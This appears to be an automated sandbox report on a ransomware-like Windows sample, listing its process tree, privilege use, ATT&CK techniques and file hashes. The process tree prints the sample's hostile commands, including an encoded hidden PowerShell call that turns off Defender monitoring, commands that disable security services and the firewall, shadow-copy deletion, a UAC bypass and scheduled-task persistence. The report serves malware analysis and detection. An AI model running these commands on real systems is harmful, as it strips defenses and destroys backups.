"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3936 schtasks.exe 1356 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2700 powershell.exe 2700 powershell.exe 2700 powershell.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3820 LogonUI.exe Token: SeCreatePagefilePrivilege 3820 LogonUI.exe Token: SeDebugPrivilege 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 2700 powershell.exe Token: SeIncBasePriorityPrivilege 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 2188 whoami.exe Token: SeBackupPrivilege 2056 vssvc.exe Token: SeRestorePrivilege 2056 vssvc.exe Token: SeAuditPrivilege 2056 vssvc.exe Token: SeDebugPrivilege 3700 tasklist.exe Token: SeDebugPrivilege 3432 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 4012 WMIC.exe Token: SeSecurityPrivilege 4012 WMIC.exe Token: SeTakeOwnershipPrivilege 4012 WMIC.exe Token: SeLoadDriverPrivilege 4012 WMIC.exe Token: SeSystemProfilePrivilege 4012 WMIC.exe Token: SeSystemtimePrivilege 4012 WMIC.exe Token: SeProfSingleProcessPrivilege 4012 WMIC.exe Token: SeIncBasePriorityPrivilege 4012 WMIC.exe Token: SeCreatePagefilePrivilege 4012 WMIC.exe Token: SeBackupPrivilege 4012 WMIC.exe Token: SeRestorePrivilege 4012 WMIC.exe Token: SeShutdownPrivilege 4012 WMIC.exe Token: SeDebugPrivilege 4012 WMIC.exe Token: SeSystemEnvironmentPrivilege 4012 WMIC.exe Token: SeRemoteShutdownPrivilege 4012 WMIC.exe Token: SeUndockPrivilege 4012 WMIC.exe Token: SeManageVolumePrivilege 4012 WMIC.exe Token: 33 4012 WMIC.exe Token: 34 4012 WMIC.exe Token: 35 4012 WMIC.exe Token: 36 4012 WMIC.exe Token: SeIncreaseQuotaPrivilege 664 WMIC.exe Token: SeSecurityPrivilege 664 WMIC.exe Token: SeTakeOwnershipPrivilege 664 WMIC.exe Token: SeLoadDriverPrivilege 664 WMIC.exe Token: SeSystemProfilePrivilege 664 WMIC.exe Token: SeSystemtimePrivilege 664 WMIC.exe Token: SeProfSingleProcessPrivilege 664 WMIC.exe Token: SeIncBasePriorityPrivilege 664 WMIC.exe Token: SeCreatePagefilePrivilege 664 WMIC.exe Token: SeBackupPrivilege 664 WMIC.exe Token: SeRestorePrivilege 664 WMIC.exe Token: SeShutdownPrivilege 664 WMIC.exe Token: SeDebugPrivilege 664 WMIC.exe Token: SeSystemEnvironmentPrivilege 664 WMIC.exe Token: SeRemoteShutdownPrivilege 664 WMIC.exe Token: SeUndockPrivilege 664 WMIC.exe Token: SeManageVolumePrivilege 664 WMIC.exe Token: 33 664 WMIC.exe Token: 34 664 WMIC.exe Token: 35 664 WMIC.exe Token: 36 664 WMIC.exe Token: SeIncreaseQuotaPrivilege 4012 WMIC.exe Token: SeSecurityPrivilege 4012 WMIC.exe Token: SeTakeOwnershipPrivilege 4012 WMIC.exe Token: SeLoadDriverPrivilege 4012 WMIC.exe Token: SeSystemProfilePrivilege 4012 WMIC.exe Token: SeSystemtimePrivilege 4012 WMIC.exe Token: SeProfSingleProcessPrivilege 4012 WMIC.exe Token: SeIncBasePriorityPrivilege 4012 WMIC.exe Token: SeCreatePagefilePrivilege 4012 WMIC.exe Token: SeBackupPrivilege 4012 WMIC.exe Token: SeRestorePrivilege 4012 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3820 LogonUI.exe 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4908 wrote to memory of 2700 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 4908 wrote to memory of 1280 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 4908 wrote to memory of 4808 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 4908 wrote to memory of 1256 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 4908 wrote to memory of 1392 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 4908 wrote to memory of 4516 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 4908 wrote to memory of 412 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 4908 wrote to memory of 4764 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 100 PID 4908 wrote to memory of 4224 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 102 PID 4908 wrote to memory of 3500 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 104 PID 3500 wrote to memory of 624 3500 fodhelper.exe 105 PID 4908 wrote to memory of 208 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 107 PID 4908 wrote to memory of 3936 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 4908 wrote to memory of 2240 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 4908 wrote to memory of 216 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 4908 wrote to memory of 2832 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 118 PID 4908 wrote to memory of 4928 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 4908 wrote to memory of 4768 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 120 PID 4908 wrote to memory of 4204 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 121 PID 4908 wrote to memory of 4016 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 122 PID 4908 wrote to memory of 1356 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 129 PID 4908 wrote to memory of 3764 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 131 PID 2240 wrote to memory of 1992 2240 cmd.exe 132 PID 216 wrote to memory of 2556 216 cmd.exe 133 PID 4928 wrote to memory of 2188 4928 cmd.exe 134 PID 2832 wrote to memory of 3700 2832 cmd.exe 135 PID 4768 wrote to memory of 2936 4768 cmd.exe 136 PID 4204 wrote to memory of 3504 4204 cmd.exe 137 PID 4016 wrote to memory of 3432 4016 cmd.exe 138 PID 2936 wrote to memory of 4000 2936 net.exe 140 PID 4908 wrote to memory of 1780 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4908 wrote to memory of 2324 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 4908 wrote to memory of 4012 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 144 PID 4908 wrote to memory of 2020 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 145 PID 4908 wrote to memory of 4688 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 146 PID 4908 wrote to memory of 4668 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 149 PID 4908 wrote to memory of 908 4908 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 2020 wrote to memory of 3804 2020 net.exe 155 PID 2240 wrote to memory of 664 2240 cmd.exe 156 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1280
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4808
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1256
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1392
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4516
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:412
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4764
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4224
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:624
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:208
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1992
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:664
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:216 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2556
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3700
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2188
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4000
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3504
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3432
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1356
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3764
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1780
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2324
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4012
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3804
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4688
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4668
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:908
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa398e855 /state1:0x41c64e6d1⤵
- Drops desktop.ini file(s)
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3820
-
C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:664
-
C:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:1144
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2056
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-939655444-3071939294-1401108526-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
- Size 822KB
- SHA256 88b785b63d31791a08387d47dcb254ab7a9bbe7132205d4df6c9de5c84ecfac9
- MD5 62b49b62fd8197b7d82cacee61d34598
- SHA1 0437e8808bfa6d9a54550538254508e36390446d
- SHA512 4af19dc4cf7d1c9c4ea51139c9b1fd16989e0a61a0175efe02e4c438e7f089134c49786d17f2fff7aeaeef201c9f8ba7584cb1748439e5a90b4e38ca62ffdde0
- SSDEEP 12288:7POwAk9FjUPbffELMMyXSyB0VYE6EByr98fnKgSXBGdte7Z2Q4Dy:iwAm4PbkUUVZxImfKgSOte8QWy
- TLSH T154052337C6E9FBE37E1D8FD918C700C6ADE1E4FC9DA69891404EEC62E13938544A5B60
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-939655444-3071939294-1401108526-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
- Size 635KB
- SHA256 fd50300b79b3e0933c652563df4906790b978f82a1f8e9a354528ef1454c7986
- MD5 b1f41d7045e2bd5844f5ae5e9919d5fd
- SHA1 51efd07dfae062e2dba9116992aa220d2494148c
- SHA512 a2f395afef1cc0a5aebd11bc504bff11c4fcde8a3e7d2f1d0f65db76b449f7c51297c815e67d56e1ae60fd74414ff7976360aeb688da156eab12f4e5dbd8e3ab
- SSDEEP 12288:bakwnlLjh+qa+i8ouL5YuF3yMKGVDa3UA2PLiqCJOwnUWSnweXmWPm024aHnDB:bmd+qhdl9YGaKtCEWQXJmzB
- TLSH T11AD423A1B19290D49830EC462FA57CA754F98107572F5167AEF288D3721868BCB7BCBC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 8ccaea5520d6fa85ad965e643aabdf3791d658f384cdfac1aaf0446aa1c2c80e
- MD5 10dfb6fc81c6bea31124244f17748e27
- SHA1 a4d16cb25c26363f05432911c7dcbb1701ec1718
- SHA512 111387c28eef56a3c453fcb318b66a4a22386a98efe96affa8b069331eca5da8d6cf4ebc21166787f70c229d50781ee2d9de890eec0664c74d9ba3891cda8ccc
- SSDEEP 1536:y2Rveo0zwn1+7cRMa3EJb2TeDTkXVEVO8IWoqojXQQdGU4I13VxAd8E1IP:ygvQzwnA81EQ6TkFz5XQQoRIJVxAd8Eg
- TLSH T1CC633B738A23FCC5677F3D40F1543D820C883A678775666CFBC90A5538A6688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
